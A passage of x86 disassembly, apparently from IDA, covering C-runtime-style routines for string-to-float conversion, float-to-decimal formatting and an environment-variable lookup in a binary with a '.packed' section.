		cmp	[ebp+arg_18], 0
		jz	short loc_436BE3
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_436BCB
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_436BBB
		jmp	short loc_436BD4
; ---------------------------------------------------------------------------

loc_436BBB:				; CODE XREF: sub_4363F0+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_436BE1
; ---------------------------------------------------------------------------

loc_436BCB:				; CODE XREF: sub_4363F0+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_436BE1
; ---------------------------------------------------------------------------

loc_436BD4:				; CODE XREF: sub_4363F0+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx

loc_436BE1:				; CODE XREF: sub_4363F0+7D9j
					; sub_4363F0+7E2j
		jmp	short loc_436BF3
; ---------------------------------------------------------------------------

loc_436BE3:				; CODE XREF: sub_4363F0+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax

loc_436BF3:				; CODE XREF: sub_4363F0+CCj
					; sub_4363F0+D5j ...
		jmp	loc_436497
; ---------------------------------------------------------------------------

loc_436BF8:				; CODE XREF: sub_4363F0+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_436D47
		cmp	[ebp+var_40], 0
		jnz	loc_436D47
		cmp	[ebp+var_78], 0
		jnz	loc_436D47
		cmp	[ebp+var_70], 18h
		jbe	short loc_436C4F
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_436C36
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl

loc_436C36:				; CODE XREF: sub_4363F0+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax

loc_436C4F:				; CODE XREF: sub_4363F0+832j
		cmp	[ebp+var_70], 0
		jbe	loc_436D2A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_436C6D
; ---------------------------------------------------------------------------

loc_436C64:				; CODE XREF: sub_4363F0+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx

loc_436C6D:				; CODE XREF: sub_4363F0+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_436C8B
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_436C64
; ---------------------------------------------------------------------------

loc_436C8B:				; CODE XREF: sub_4363F0+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4362B0
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_436CAD
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx

loc_436CAD:				; CODE XREF: sub_4363F0+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_436CC5
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax

loc_436CC5:				; CODE XREF: sub_4363F0+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_436CD4
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx

loc_436CD4:				; CODE XREF: sub_4363F0+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_436CE6
		mov	[ebp+var_40], 1
		jmp	short loc_436D28
; ---------------------------------------------------------------------------

loc_436CE6:				; CODE XREF: sub_4363F0+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_436CF8
		mov	[ebp+var_78], 1
		jmp	short loc_436D28
; ---------------------------------------------------------------------------

loc_436CF8:				; CODE XREF: sub_4363F0+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_4395B0
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx

loc_436D28:				; CODE XREF: sub_4363F0+8F4j
					; sub_4363F0+906j
		jmp	short loc_436D47
; ---------------------------------------------------------------------------

loc_436D2A:				; CODE XREF: sub_4363F0+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx

loc_436D47:				; CODE XREF: sub_4363F0+814j
					; sub_4363F0+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_436D76
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_436DCD
; ---------------------------------------------------------------------------

loc_436D76:				; CODE XREF: sub_4363F0+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_436DA1
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_436DCD
; ---------------------------------------------------------------------------

loc_436DA1:				; CODE XREF: sub_4363F0+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_436DCD
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx

loc_436DCD:				; CODE XREF: sub_4363F0+984j
					; sub_4363F0+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_4363F0	endp

; ---------------------------------------------------------------------------
off_436E0A	dd offset loc_4364CC	; DATA XREF: sub_4363F0+D5r
		dd offset loc_43656A
		dd offset loc_436620
		dd offset loc_43668B
		dd offset loc_4367A3
		dd offset loc_4368D5
		dd offset loc_43694B
		dd offset loc_436A30
		dd offset loc_4369D2
		dd offset loc_436A83
		dd offset loc_436BF3
		dd offset loc_436B8F
off_436E3A	dd offset loc_4365F9	; DATA XREF: sub_4363F0+1F0r
		dd offset loc_4365E7
		dd offset loc_4365F0
		dd offset loc_43660B
byte_436E4A	db 0			; DATA XREF: sub_4363F0+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_436E85	dd offset loc_43677C	; DATA XREF: sub_4363F0+37Cr
		dd offset loc_436773
		dd offset loc_43678E
byte_436E91	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_4363F0+376r
off_436ECC	dd offset loc_4368AE	; DATA XREF: sub_4363F0+4AEr
		dd offset loc_4368A5
		dd offset loc_4368C0
byte_436ED8	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_4363F0+4A8r
		db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_4363F0
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_432A60
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_436F68
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax

loc_436F68:				; CODE XREF: .packed:00436F5Ej
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436F70	proc near		; CODE XREF: sub_432CE0+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43700E
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_437015
; ---------------------------------------------------------------------------

loc_43700E:				; CODE XREF: sub_436F70+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h

loc_437015:				; CODE XREF: sub_436F70+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_43705C
		cmp	[ebp+var_24], 0
		jnz	short loc_43705C
		cmp	[ebp+var_48], 0
		jnz	short loc_43705C
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_437482
; ---------------------------------------------------------------------------

loc_43705C:				; CODE XREF: sub_436F70+B0j
					; sub_436F70+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_437156
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_437088
		cmp	[ebp+var_48], 0
		jz	short loc_4370BC

loc_437088:				; CODE XREF: sub_436F70+110j
		mov	ecx, [ebp+var_24]
		and	ecx, 40000000h
		test	ecx, ecx
		jnz	short loc_4370BC
		push	offset dword_43DF00
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 6
		mov	[ebp+var_58], 0
		jmp	loc_437151
; ---------------------------------------------------------------------------

loc_4370BC:				; CODE XREF: sub_436F70+116j
					; sub_436F70+123j
		mov	ecx, [ebp+var_68]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_4370FC
		cmp	[ebp+var_24], 0C0000000h
		jnz	short loc_4370FC
		cmp	[ebp+var_48], 0
		jnz	short loc_4370FC
		push	offset dword_43DEF8
		mov	edx, [ebp+arg_14]
		add	edx, 4
		push	edx
		call	sub_41F620
		add	esp, 8
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_437151
; ---------------------------------------------------------------------------

loc_4370FC:				; CODE XREF: sub_436F70+157j
					; sub_436F70+160j ...
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_43712F
		cmp	[ebp+var_48], 0
		jnz	short loc_43712F
		push	offset dword_43DEF0
		mov	ecx, [ebp+arg_14]
		add	ecx, 4
		push	ecx
		call	sub_41F620
		add	esp, 8
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 5
		mov	[ebp+var_58], 0
		jmp	short loc_437151
; ---------------------------------------------------------------------------

loc_43712F:				; CODE XREF: sub_436F70+193j
					; sub_436F70+199j
		push	offset dword_43DEE8
		mov	eax, [ebp+arg_14]
		add	eax, 4
		push	eax
		call	sub_41F620
		add	esp, 8
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+3], 6
		mov	[ebp+var_58], 0

loc_437151:				; CODE XREF: sub_436F70+147j
					; sub_436F70+18Aj ...
		jmp	loc_43747F
; ---------------------------------------------------------------------------

loc_437156:				; CODE XREF: sub_436F70+FBj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		sar	edx, 8
		mov	word ptr [ebp+var_6C], dx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 0FFh
		mov	[ebp+var_C], ax
		mov	ecx, [ebp+var_24]
		shr	ecx, 18h
		mov	word ptr [ebp+var_40], cx
		mov	edx, [ebp+var_64]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		imul	edx, eax
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_6C]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		mov	ecx, [ebp+var_60]
		and	ecx, 0FFFFh
		mov	eax, [ebp+var_40]
		and	eax, 0FFFFh
		imul	ecx, eax
		add	edx, ecx
		sub	edx, [ebp+var_20]
		mov	[ebp+var_8], edx
		mov	ecx, [ebp+var_8]
		sar	ecx, 10h
		mov	[ebp+var_5C], cx
		mov	dx, word ptr [ebp+var_70]
		mov	word ptr [ebp+var_2E], dx
		mov	eax, [ebp+var_24]
		mov	[ebp+var_32], eax
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_38], 0
		push	1
		movsx	edx, [ebp+var_5C]
		neg	edx
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4395B0
		add	esp, 0Ch
		mov	ecx, [ebp+var_2E]
		and	ecx, 0FFFFh
		cmp	ecx, 3FFFh
		jl	short loc_43722D
		mov	dx, [ebp+var_5C]
		add	dx, 1
		mov	[ebp+var_5C], dx
		lea	eax, [ebp+var_54]
		push	eax
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_439170
		add	esp, 8

loc_43722D:				; CODE XREF: sub_436F70+29Fj
		mov	edx, [ebp+arg_14]
		mov	ax, [ebp+var_5C]
		mov	[edx], ax
		mov	ecx, [ebp+arg_10]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_437281
		movsx	edx, [ebp+var_5C]
		mov	eax, [ebp+arg_C]
		add	eax, edx
		mov	[ebp+arg_C], eax
		cmp	[ebp+arg_C], 0
		jg	short loc_437281
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	loc_437482
; ---------------------------------------------------------------------------

loc_437281:				; CODE XREF: sub_436F70+2CFj
					; sub_436F70+2E1j
		cmp	[ebp+arg_C], 15h
		jle	short loc_43728E
		mov	[ebp+arg_C], 15h

loc_43728E:				; CODE XREF: sub_436F70+315j
		mov	eax, [ebp+var_2E]
		and	eax, 0FFFFh
		sub	eax, 3FFEh
		mov	[ebp+var_2E+2],	eax
		mov	word ptr [ebp+var_2E], 0
		mov	[ebp+var_44], 0
		jmp	short loc_4372B6
; ---------------------------------------------------------------------------

loc_4372AD:				; CODE XREF: sub_436F70+358j
		mov	ecx, [ebp+var_44]
		add	ecx, 1
		mov	[ebp+var_44], ecx

loc_4372B6:				; CODE XREF: sub_436F70+33Bj
		cmp	[ebp+var_44], 8
		jge	short loc_4372CA
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_4361E0
		add	esp, 4
		jmp	short loc_4372AD
; ---------------------------------------------------------------------------

loc_4372CA:				; CODE XREF: sub_436F70+34Aj
		cmp	[ebp+var_2E+2],	0
		jge	short loc_4372FC
		mov	eax, [ebp+var_2E+2]
		neg	eax
		and	eax, 0FFh
		mov	[ebp+var_74], eax
		jmp	short loc_4372E8
; ---------------------------------------------------------------------------

loc_4372DF:				; CODE XREF: sub_436F70+38Aj
		mov	ecx, [ebp+var_74]
		sub	ecx, 1
		mov	[ebp+var_74], ecx

loc_4372E8:				; CODE XREF: sub_436F70+36Dj
		cmp	[ebp+var_74], 0
		jle	short loc_4372FC
		lea	edx, [ebp+var_38]
		push	edx
		call	sub_436240
		add	esp, 4
		jmp	short loc_4372DF
; ---------------------------------------------------------------------------

loc_4372FC:				; CODE XREF: sub_436F70+35Ej
					; sub_436F70+37Cj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_437319
; ---------------------------------------------------------------------------

loc_437310:				; CODE XREF: sub_436F70+413j
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx

loc_437319:				; CODE XREF: sub_436F70+39Ej
		cmp	[ebp+var_10], 0
		jle	short loc_437385
		mov	eax, [ebp+var_38]
		mov	[ebp+var_1C], eax
		mov	ecx, [ebp-34h]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_32+2]
		mov	[ebp+var_14], edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4361E0
		add	esp, 4
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4361E0
		add	esp, 4
		lea	edx, [ebp+var_1C]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_436130
		add	esp, 8
		lea	ecx, [ebp+var_38]
		push	ecx
		call	sub_4361E0
		add	esp, 4
		mov	edx, [ebp+var_2E+1]
		and	edx, 0FFh
		add	edx, 30h
		mov	eax, [ebp+var_4]
		mov	[eax], dl
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	byte ptr [ebp+var_2E+1], 0
		jmp	short loc_437310
; ---------------------------------------------------------------------------

loc_437385:				; CODE XREF: sub_436F70+3ADj
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[ebp+var_28], cl
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		movsx	eax, [ebp+var_28]
		cmp	eax, 35h
		jl	short loc_437403
		jmp	short loc_4373B3
; ---------------------------------------------------------------------------

loc_4373AA:				; CODE XREF: sub_436F70+45Fj
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx

loc_4373B3:				; CODE XREF: sub_436F70+438j
		mov	edx, [ebp+arg_14]
		add	edx, 4
		cmp	[ebp+var_4], edx
		jb	short loc_4373D1
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_4373D1
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		jmp	short loc_4373AA
; ---------------------------------------------------------------------------

loc_4373D1:				; CODE XREF: sub_436F70+44Cj
					; sub_436F70+457j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_4373F5
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_14]
		mov	ax, [edx]
		add	ax, 1
		mov	ecx, [ebp+arg_14]
		mov	[ecx], ax

loc_4373F5:				; CODE XREF: sub_436F70+46Aj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		add	al, 1
		mov	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_43745C
; ---------------------------------------------------------------------------

loc_437403:				; CODE XREF: sub_436F70+436j
		jmp	short loc_43740E
; ---------------------------------------------------------------------------

loc_437405:				; CODE XREF: sub_436F70+4B4j
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx

loc_43740E:				; CODE XREF: sub_436F70:loc_437403j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jb	short loc_437426
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 30h
		jnz	short loc_437426
		jmp	short loc_437405
; ---------------------------------------------------------------------------

loc_437426:				; CODE XREF: sub_436F70+4A7j
					; sub_436F70+4B2j
		mov	eax, [ebp+arg_14]
		add	eax, 4
		cmp	[ebp+var_4], eax
		jnb	short loc_43745C
		mov	ecx, [ebp+arg_14]
		mov	word ptr [ecx],	0
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+2], 20h
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+3], 1
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+4], 30h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+5], 0
		mov	eax, 1
		jmp	short loc_437482
; ---------------------------------------------------------------------------

loc_43745C:				; CODE XREF: sub_436F70+491j
					; sub_436F70+4BFj
		mov	eax, [ebp+arg_14]
		add	eax, 4
		mov	ecx, [ebp+var_4]
		sub	ecx, eax
		add	ecx, 1
		mov	edx, [ebp+arg_14]
		mov	[edx+3], cl
		mov	eax, [ebp+arg_14]
		movsx	ecx, byte ptr [eax+3]
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+ecx+4], 0

loc_43747F:				; CODE XREF: sub_436F70:loc_437151j
		mov	eax, [ebp+var_58]

loc_437482:				; CODE XREF: sub_436F70+E7j
					; sub_436F70+30Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_436F70	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	0Ch
		call	sub_423280
		add	esp, 4
		mov	eax, [ebp+8]
		push	eax
		call	sub_4374C0
		add	esp, 4
		mov	[ebp-4], eax
		push	0Ch
		call	sub_423320
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4374C0	proc near		; CODE XREF: sub_433090+3Ap
					; .packed:004374A2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, dword_4F33D4
		mov	[ebp+var_8], eax
		cmp	dword_4F4AE8, 0
		jnz	short loc_4374DE
		xor	eax, eax
		jmp	loc_437582
; ---------------------------------------------------------------------------

loc_4374DE:				; CODE XREF: sub_4374C0+15j
		cmp	[ebp+var_8], 0
		jnz	short loc_437506
		cmp	dword_4F33DC, 0
		jz	short loc_437506
		call	sub_4396D0
		test	eax, eax
		jz	short loc_4374FD
		xor	eax, eax
		jmp	loc_437582
; ---------------------------------------------------------------------------

loc_4374FD:				; CODE XREF: sub_4374C0+34j
		mov	ecx, dword_4F33D4
		mov	[ebp+var_8], ecx

loc_437506:				; CODE XREF: sub_4374C0+22j
					; sub_4374C0+2Bj
		cmp	[ebp+var_8], 0
		jz	short loc_437580
		cmp	[ebp+arg_0], 0
		jz	short loc_437580
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41BC70
		add	esp, 4
		mov	[ebp+var_4], eax

loc_437521:				; CODE XREF: sub_4374C0+BEj
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax], 0
		jz	short loc_437580
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx]
		push	edx
		call	sub_41BC70
		add	esp, 4
		cmp	eax, [ebp+var_4]
		jbe	short loc_437575
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [ecx+edx]
		cmp	eax, 3Dh
		jnz	short loc_437575
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	ecx
		call	sub_439680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_437575
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_437582
; ---------------------------------------------------------------------------

loc_437575:				; CODE XREF: sub_4374C0+7Aj
					; sub_4374C0+8Bj ...
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_437521
; ---------------------------------------------------------------------------

loc_437580:				; CODE XREF: sub_4374C0+4Aj
					; sub_4374C0+50j ...
		xor	eax, eax

loc_437582:				; CODE XREF: sub_4374C0+19j
					; sub_4374C0+38j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4374C0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		mov	eax, off_454DE8
		mov	[ebp-0Ch], eax
		mov	dword ptr [ebp-8], 0
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_4375B8
; ---------------------------------------------------------------------------

loc_4375AF:				; CODE XREF: .packed:004375EFj
		mov	ecx, [ebp-10h]
		add	ecx, 1
		mov	[ebp-10h], ecx

loc_4375B8:				; CODE XREF: .packed:004375ADj
		cmp	dword ptr [ebp-10h], 7
		jnb	short loc_4375F1
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		mov	esi, eax
		mov	edx, [ebp-10h]
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+edx*4+1Ch]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, [ebp-8]
		lea	edx, [eax+esi+2]
		mov	[ebp-8], edx
		jmp	short loc_4375AF
; ---------------------------------------------------------------------------

loc_4375F1:				; CODE XREF: .packed:004375BCj
		mov	eax, [ebp-8]
		add	eax, 1
		push	eax
		call	sub_41BE40
		add	esp, 4
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4376A9
		mov	ecx, [ebp-4]
		mov	[ebp-14h], ecx
		mov	dword ptr [ebp-10h], 0
		jmp	short loc_437625
; ---------------------------------------------------------------------------

loc_43761C:				; CODE XREF: .packed:00437698j
		mov	edx, [ebp-10h]
		add	edx, 1
		mov	[ebp-10h], edx

